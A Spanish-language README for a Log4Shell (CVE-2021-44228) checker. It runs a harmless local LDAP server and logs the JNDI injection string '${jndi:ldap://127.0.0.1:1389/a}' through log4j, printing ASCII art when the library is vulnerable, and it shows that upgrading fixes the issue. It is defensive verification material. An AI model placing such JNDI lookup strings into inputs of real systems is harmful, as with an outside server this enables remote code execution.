
Verificador de la vulnerabilidad CVE-2021-44228
Este es el repositorio para comprobar la vulnerabilidad CVE-2021-44228.
Esto es una PoC que solo muestra cadenas sin ninguna carga de clase externa. No se puede utilizar para la ejecución arbitraria de código.
La imagen ghcr.io/greymd/cve-2021-44228/server está disponible y se puede ejecutar en Docker.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
Prepare el código para generar registros usando log4j y ejecútelo en el mismo host.
Genere la cadena de salida ${jndi:ldap://127.0.0.1:1389/a}.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
Si el argumento es uno que causa una vulnerabilidad, la frase 「うんこもりもり」(que significa algo como "Montones de mierda") se registrará exitosamente.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Si es demasiado perezoso para escribir y compilar su código, puede usar una aplicación de registro simple en este repositorio. El primer argumento será generado por el Logger.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
Un ejemplo de dar un argumento que cause una vulnerabilidad sería el siguiente.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Si tiene una versión de log4j que NO está afectada por la vulnerabilidad, o la aplicación del servidor no se está ejecutando, la cadena se generará tal cual sin ninguna modificación. Puede verificar esto actualizando la versión de la aplicación de registro como se muestra a continuación.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
Como mencioné (y hasta donde investigué), esta vulnerabilidad no se reproducirá a menos que el servidor de destino de JNDI esté en ejecución. Por lo tanto, una PoC simple es útil.
Las siguientes URLs se utilizaron como referencia en la implementación.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)